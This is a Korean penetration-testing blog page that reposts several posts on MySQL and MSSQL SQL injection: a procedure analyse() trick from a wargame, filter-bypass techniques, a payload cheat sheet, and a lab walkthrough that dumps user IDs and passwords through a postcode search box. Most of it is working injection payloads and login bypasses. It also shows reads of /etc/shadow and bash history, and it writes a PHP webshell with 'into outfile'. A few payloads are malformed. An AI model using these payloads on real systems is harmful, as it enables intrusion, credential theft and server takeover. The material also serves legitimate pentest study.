반응형

출처: http://hyunmini.tistory.com/46


MySQL 에서 발생할 수 있는 특이한 인젝션 기법을 알게 되어서 포스팅 합니다.


워게임 사이트 문제 풀다 알게 된 것이고...어느정도 웹해킹에 대해선 자신있어 했던게 부끄럽네요. ^^;


더욱 열심히 공부해야 겠습니다.




요지는 select 키워드가 필터링 될때, 어떻게 필드명을 알아낼 수 있을까 라는 것에 대한 것입니다.


select 가 필터링 되면 information_schema.tables 나 columns 에서 쿼리를 할 수 없습니다. 이 문제에선 


","(콤마) 와 작은 따옴표까지 필터링 되고 있어서 더욱 쉽지 않습니다. 삽질을 좀 하다가 구글링을 통해 


mysql 함수중 하나인 procedure analyze() 함수를 알게 되었습니다.




mysql> select id from test where no=1 procedure analyse();

+--------------+-----------+-----------+------------+------------+------------------+-----+

| Field_name    | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | 

+--------------+-----------+-----------+------------+------------+------------------+-----+

test.test.id  |   admin     |   admin     |                5 |               5 |                         0 |     0 |

+--------------+-----------+-----------+------------+------------+------------------+-----+



중요한 것은 테이블,필드명을 모른다고 해도 test.test.id 와 같은 형식으로 출력된 첫번째 필드명을 통해


테이블명을 알 수 있다는 것입니다. 


mysql> select id from test where no=limit 0,1 procedure analyse();   // 첫째 필드

mysql> select id from test where no=limit 1,1 procedure analyse();   // 둘째 필드

mysql> select id from test where no=limit 2,1 procedure analyse();   // 셋째 필드


information_schema, union, select 등이 막힌 상황에서 유용할 듯 싶습니다. :)

반응형

'프로젝트 관련 조사 > 모의 해킹' 카테고리의 다른 글

[Web Proxy Tool] Fiddler  (0) 2016.07.16
Filtering 발견 및 우회 테크닉  (0) 2016.07.10
mysql 우회 기법 정리  (0) 2016.07.10
SQL Injection Cheat Sheet - MySQL  (0) 2016.06.18
Union SQL Injection  (0) 2016.06.18
반응형

출처: http://hyunmini.tistory.com/47


# 공백 우회

- /**/

- %09, %0d, %0a

- select`id`from`user`


# ' 우회

- concat(char(49),char(50)) = '12'

- char(0x31,0x32,0x33) = '123'

- 0x41424344 = 'abcd'

- x'41424344' = 'abcd'

- true + true =2

- where '1'=0   /  False Injection, 1=1 과 동일함


# 함수 정리

unix_timestamp()  -> '135461123'

inet_ntoa(2108797737) -> '125.177.179.41'


# insert injection 

"a1','a2','a3'), ('b1','b2','b3'), ('c1"

insert into test values ('a','b','c') 

                 =

insert into test select 'a','b','c'


# 키워드 우회

substr('abc',1,1) == right(left('abc',1),1)

substr('abc',2,1) == right(left('abc',2),1)




등...(정리중)


반응형
반응형

출처: http://hyunmini.tistory.com/59


SQL Injection 맨날 하면서도 맨날 까먹어서 치트시트 검색하곤 했는데 그냥 직접 만들어 놓고 보기로 했다. 


시작은 MySQL !! 







### SQL Injection Cheat Sheet - MySQL ###



             v0.1 

by hyunmini

last updated 2014.09.25





  # 테스트 순서


 1. 취약여부 확인 및 공격 기법 선택  


  1) Basic Injection               // 취약점 테스트


    ex)  no=1 and 1=1#



  2) Error Based Injection     // 데이터베이스 가져오기 가장 편함

    

    ex) no=-1'  (에러 메시지 출력 유무 확인)



  3) Union Injection               // 쿼리 하나당 결과 하나이상 가져올 수 있음 


    ex) no=-1 union select 1,2 --

          no=-1 union select 1,2,3 --

          no=-1 union select 1,2,3,4 --  ( 문자열이고 화면에 보여지는 컬럼 확인 )



  4) Blind Injection                 // 쿼리8번에 1글자씩 가져옴. 느리고 툴이 필요함


    ex) no=1 and 1=1 #

          no=1 and 1=2 #

          no=1 and substringversion(), 1,1 ) > '4' 




 2. 버전 확인


  - 4.0 이하와 4.1 이상 버전의 공격기법에 차이가 있음(4.0 이하는 subquery 불가 및  information_schema 미존재)

   ex) version(),  @@version 등 



 3. 테이블명 추출


  ex)  ' and 1,2,3, (select table_name from information_schema.tables limit 0,1),4 --

   output => userinfo



 4. 필드명 추출


  ex) ' and 1,2,3, (select column_name from information_schama.columns limit 0,1), 4 --

   output => uid


 

5. 데이터 추출


  ex) ' and 1,2,3, (select uid from userinfo limit 0,1), 4 --

   output => admin

 


 6. 접속 유저 및 파일 권한 확인


 7. OS Interaction 공격 시도

 

 - load_file('/etc/passwd')  ->  계정 및 홈폴더 등 확인

 - load_file('/etc/shadow')  - >  shadow 크랙 ->  크랙된 계정으로 서버 접근 시도

 - load_file('/root/.bash_history')  ->  명령어 확인, 간혹 mysql -U[user] -P[password]  등의 정보도 확인 가능

 - load_file('/.rhosts') -> 신뢰호스트 및 계정 확인, 서버 접근 시도

 - load_file('/etc/apache2/apache2.conf') ->  document root 폴더 확인, 기타 서비스 확인 등


 - select '<? system("$_GET['cmd']"); ?>into outfile '/var/www/shell.php'   ->  www.vul.com/shell.php?cmd=id

 




 # Basic Injection

 

 1. String 


 ' and 1=1--

 ' or 'a'='a

 '='

 ' and 'c'='c

 ' and 1# 

 ' or '1

 ' or 1--+

 " or ""="

 "="

 '='

 '=0#


 2. Numeric 


 and 1=1#

 and 1

 and true = 1-- 

 and 1*1

 and 3-2

 =0




  # Comment


  #

  --

  /*  */ 

  -- 

  ;

  ; %00

  ` 




  # Error Based Injection

 mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a;

 

 -> ERROR 1062 (23000): Duplicate entry '5.1.63-0ubuntu0.10.04.11' for key 'group_key' 



 ' union (select count(*),concat('result: ',database(),' :',floor(rand(0)*2))as b from information_schema.tables group by b)#


  -> ERROR 1062 (23000): Duplicate entry 'result: 
test :1' for key 'group_key'




  # Union Injection

 

 1) 컬럼수 확인 


 ' union 1 --

 ' union 1,2 --

 ' union 1,2,3 --



 2) 문자필드 및 출력필드 확인


 ' union 1,2,'a',4,5 -- 

 ' union 1,2,3,'a',5 --



 3) Union 인젝션

 -1' union select 1,2,3,version(),0 #                // 4.0 이하

 -1' union select 1,2,3,(select version()),0 #   // 서브쿼리는 4.1 이상만 가능

 -1' union select 1,2,3,user from mysql.user #      // 4.0 이하에서 서브쿼리 대신 사용 가능





  # BlindSQL Injection 

 

 ' and 1=1 #   // True  

 ' and 1=2 #   // False

 ' or 1=1 --

 ' or 1=2 --

 ' and 'c' between 'a' and 'z' #


 ' and substring( (select table_name from information_schema.tables limit 0,1),1,1 ) > 'a'




  # Insert Injection

  b', 'c','d')--

  b', 'c','d')('a','b','c','d')#


 b', 'c','d')( user()version(), 'c','d') #




  # False Injection

  a'=0 # 

  a'=1=1 #      //  True, 결과값 없음 

  a'=1=0 #      //  False, 논리적으로 1=1과 같음 => 모든 데이터 출력

  a'=1=1=1=0 #

  a'=1=1=1=1<>1 #

  no=1<>0

no=1<>1

no=1<0

no=1<1

no=1*1

no=1*0

no=1%0

no=1%1

no=1 div 0

no=1 div 1

no=1 regexp 0

no=1 regexp 1

no=1^0

no=1^1

   ...

  ex) False Injection 로그인 우회
        id='='
        id=1'='0
        id=1'^'1 
        id=1'-'1

  ex) False Blind Injection ( 아래 예제는 버전이 5.0 인 경우 )

        no=1=(if( substr(version(),1,1)='5' ,1 ,0 ))=0 #    // 1=0(False) , 데이터 출력

        no=1=(if( substr(version(),1,1)='4' ,1 ,0 ))=0 #    // 0=0(True) , 결과 없음





  # Basic Information

 select @@version       // 버전 

 select version()          // 버전

 select user()

 select system_user()



  # MySQL Function


 1. string

 

  mid()

  left()

  right()

  concat('a','b','c') = 'abc'


 2. 



# File I/O


 

# Filter Bypass



# Outbound



# 팁

 - load_file()을 이용한 서버 정보 추출

 - into outfile, dumpfile 을 이용한 웹쉘 생성

반응형

'프로젝트 관련 조사 > 모의 해킹' 카테고리의 다른 글

SQL Injection(MySQL) - procedure analyze()  (0) 2016.07.10
mysql 우회 기법 정리  (0) 2016.07.10
Union SQL Injection  (0) 2016.06.18
DDOS 공격대응 메뉴얼  (0) 2016.04.26
DDOS 공격 예방하기  (0) 2015.10.18
반응형

작성자 : koromoon (koromoon@naver.com)

작성일 : 2012-10

 

 

 

( 1 ) Union SQL Injecion

2개 이상의 쿼리를 요청하여 결과를 얻는 UNION 이라는 SQL 연산자를 이용한 SQL Injecion 공격을 말하며 공격자는 이 연산자를 이용하여 원래의 요청에 한 개의 추가 쿼리를 삽입하여 정보를 얻어냄.

전제 조건 : 컬럼의 갯수가 같아야 하고 데이터 형식도 같아야 함.

 

 

( 2 ) UNION 연산자

 


예제 테이블 >

 




< UNION 연산자를 이용한 구문의 결과값 >

 

UNION 연산자를 사용하여 둘 이상의 SELECT문 결과를 단일 결과 집합으로 결합할 수 있음.

UNION 연산자를 사용하여 결합된 결과 집합은 모두 같은 구조를 가져야 함컬럼의 갯수가 같아야 하며 해당 결과 집합 컬럼은 호환되는 데이터 형식을 가져야 함.

UNION의 결과 집합 컬럼 이름은 UNION의 첫 번째 SELECT문의 결과 집합에 있는 컬럼 이름과 동일함다른 SELECT문의 결과 집합 컬럼 이름은 무시됨.

기본적으로 UNION 연산자는 결과 집합에서 중복 행을 제거함.

참고로 ALL 옵션을 사용하면 결과에 모든 행이 포함되고 중복 행은 제거되지 않음.

 

참고 사이트 : http://msdn.microsoft.com/ko-kr/library/ms191141(v=sql.105).aspx

 

 

( 3 ) SQL Injection에 주로 사용되는 문자열

 

문자열

설명

'

문자 데이터 구분 기호

;

쿼리 구분 기호

--, #

해당 라인 주석 구분 기호

--    Oracle, MSSQL

#     MySQL

/* */

/*  */ 사이 구문 주석

| |

문자 연결 (Oracle 에만 해당)

 

 

( 4 ) Union SQL Injection 공격 실습환경

 

 

모의해킹 홈페이지 >

 

"IT CookBook 정보 보안 개론과 실습 - 인터넷 해킹과 보안책의 소스로 간단히 모의해킹 홈페이지를 만듬.

ASP + IIS + MSSQL 2000 에서 실습함.

 

구분

설명

OS

Windows 2000 SP4

Web Language

ASP

WAS

IIS

DB

MSSQL 2000

모의해킹 홈페이지 기본 정보 >

 

열 이름

데이터 형식

길이

Null 허용

기본키 설정

id

int

4

 

설정

user_id

varchar

20

 

 

name

varchar

20

 

 

user_pw

varchar

20

 

 

nickname

varchar

20

 

 

zipcode

varchar

50

허용

 

address1

varchar

50

허용

 

address2

varchar

50

허용

 

email

varchar

50

허용

 

homepage

varchar

50

허용

 

< member 테이블 구조 >

 

열 이름

데이터 형식

길이

Null 허용

기본키 설정

zipcode_id

varchar

10

 

 

zipcode

varchar

30

 

 

sido

varchar

20

허용

 

gugun

varchar

40

허용

 

dong

varchar

40

허용

 

bunji

varchar

40

허용

 

ho

varchar

40

허용

 

< zipcode 테이블 구조 >

 

 

( 5 ) Union SQL Injection 공격 실습

 


우편번호 검색창 >

 

 

검색창 관련 ASP 코드 >

 

Union SQL Injecion 공격을 실행시킬 곳을 찾아야 함주로 우편번호 검색창 등과 같이 파라미터 길이가 비교적 긴 검색 결과를 보여줄 수 있는 페이지에서 실행함최종적으로 다양한 공격 코드들을 실행시켜 다른 사용자의 ID, PW를 알아내는 게 목표로 정함위 우편번호 검색창을 보면 컬럼 7개 중에 1번 컬럼과 7번 컬럼은 출력이 안 되는 걸 알 수가 있으며 이점을 유념해서 Union SQL Injecion 공격을 실행할 때 유념해야 함.

 

먼저 컬럼 갯수를 알아내야 함아래 공격 코드들을 하나씩 실행시켜보면 인후동' order by 8-- 부분에서 오류가 뜸.

ORDER BY 절을 사용하여 행을 정렬해서 결과값을 보여줌. SELECT 문의 마지막에 작성되며 정렬 조건으로 표현식별칭 또는 컬럼 위치를 지정해야 함여기서 숫자를 넣어서 정렬을 할 수가 있는데 숫자는 해당 순서의 컬럼을 뜻하며 그 순서의 컬럼으로 정렬하겠다는 뜻임그래서 컬럼의 갯수보다 더 높은 숫자를 넣으면 오류가 뜸그 오류를 통해서 컬럼의 갯수를 파악할 수 있음.

검색창 관련 테이블(zipcode)의 컬럼 갯수가 7개임.

 

인후동' order by 1--

인후동' order by 2--

인후동' order by 3--

인후동' order by 4--

인후동' order by 5--

인후동' order by 6--

인후동' order by 7--

인후동' order by 8--        <--- 에러

 


인후동' order by 8-- 공격 코드 넣을 때 에러페이지 노출 >

 

DB 정보를 알아내야함. DB 종류와 버전 별로 공격 코드에 차이가 있으며 그에 맞는 공격 코드로 공격을 해야 함.

Union SQL Injection 공격 시 반드시 컬럼의 갯수가 같아야 하며 데이터 형식도 같아야 함.

원하는 정보를 출력할 컬럼에 원하는 데이터 값을 넣고 나머지 컬럼에는 쓰레기 값을 넣음.

(참고로 테스트 중인 우편번호 검색창 출력 화면에는 1번 컬럼과 7번 컬럼이 출력이 안 됨)

아래의 공격 코드를 실행 시 DB 정보가 출력됨.

 

인후동' union select '1', '2', '3', '4', '5', @@version, '7' --

 


< WAS 정보 노출 >

 

다음 공격에 앞서 정보 스키마 뷰를 이해해야 함.

 

정보 스키마 뷰는 SQL Server 메타데이터의 내부 시스템 테이블에 종속되는 않는 뷰를 제공함.

기본 시스템 테이블이 많이 변경되더라도 응용 프로그램이 제대로 작동할 수 있도록 함.

정보 스키마 뷰는 INFORMATION_SCHEMA 라는 특수한 스키마를 정의함.

여기서 메타데이터(metadata)는 데이터를 위한 데이터를 말하며 구조화된 정보를 분석분류하고 부가적 정보를 추가하기 위해 그 데이터 뒤에 함께 따라가는 정보를 말함.

정보 스키마 뷰에 대해서 자세히 알고 싶다면 아래 사이트를 참고 바람.

참고 사이트 : http://msdn.microsoft.com/ko-kr/library/ms186778(v=sql.90).aspx

 

INFORMATION_SCHEMA.TABLES  TABLE_NAME 를 가지고 테이블 정보를 알아냄.

INFORMATION_SCHEMA.TABLES 은 현재 사용자가 사용 권한을 가진 데이터베이스의 각 테이블당 한개의 행을 반환함그리고 TABLE_NAME 은 테이블 이름을 말함.

 

information_schema.tables  table_name 을 이용한 공격 코드는 아래와 같음.

 6개의 테이블이 노출되었으며 member 테이블이 사용자 정보일 거라 추측됨.

 

인후동' union select '1', '2', '3', '4', '5', table_name, '7' from information_schema.tables--

 

 

테이블 정보 노출 >

 

얻은 테이블 정보를 얻었으면 INFORMATION_SCHEMA.COLUMNS  COLUMN_NAME 을 가지고 컬럼 정보를 알아냄.

INFORMATION_SCHEMA.COLUMNS 는 현재 사용자가 액세스할 수 있는 열마다 한 행을 반환함그리고 COLUMN_NAME 은 열 이름을 말함.

 

information_schema.columns  column_name 을 이용한 공격 코드는 아래와 같음.

 10개의 컬럼이 노출되었으며 user_id, user_pw 가 각각 ID, PW 라 추측됨.

 

인후동' union select '1', '2', '3', '4', '5', column_name, '7' from information_schema.columns where table_name='member'--

 

 

< member 테이블의 컬럼 노출 >

 

이제까지 얻은 정보를 가지고 다른 사용자의 ID, PW를 알아냄.

공격코드는 아래와 같음.

 

인후동' union select '1', '2', '3', '4', user_id, user_pw, '7' from member--

 

 

사용자 정보 노출 >

 

 

 

도움이 될 만한 사이트 :

 

MYSQL + MSSQL + ORACEL SQL Injection Knowledge Base

http://www.websec.ca/kb/sql_injection#MySQL_Default_Databases

 

pentestmonkey - SQL Injection Cheat Sheets

http://pentestmonkey.net/category/cheat-sheet/sql-injection

 

Penetration Tesing Framework

http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html

 

pentest-bookmarks

http://code.google.com/p/pentest-bookmarks/wiki/BookmarksList

 

n3015m님의 블로그

http://n3015m.tistory.com/


반응형

'프로젝트 관련 조사 > 모의 해킹' 카테고리의 다른 글

mysql 우회 기법 정리  (0) 2016.07.10
SQL Injection Cheat Sheet - MySQL  (0) 2016.06.18
DDOS 공격대응 메뉴얼  (0) 2016.04.26
DDOS 공격 예방하기  (0) 2015.10.18
웹셀 업로드 취약점 방어하기  (0) 2015.10.17

+ Recent posts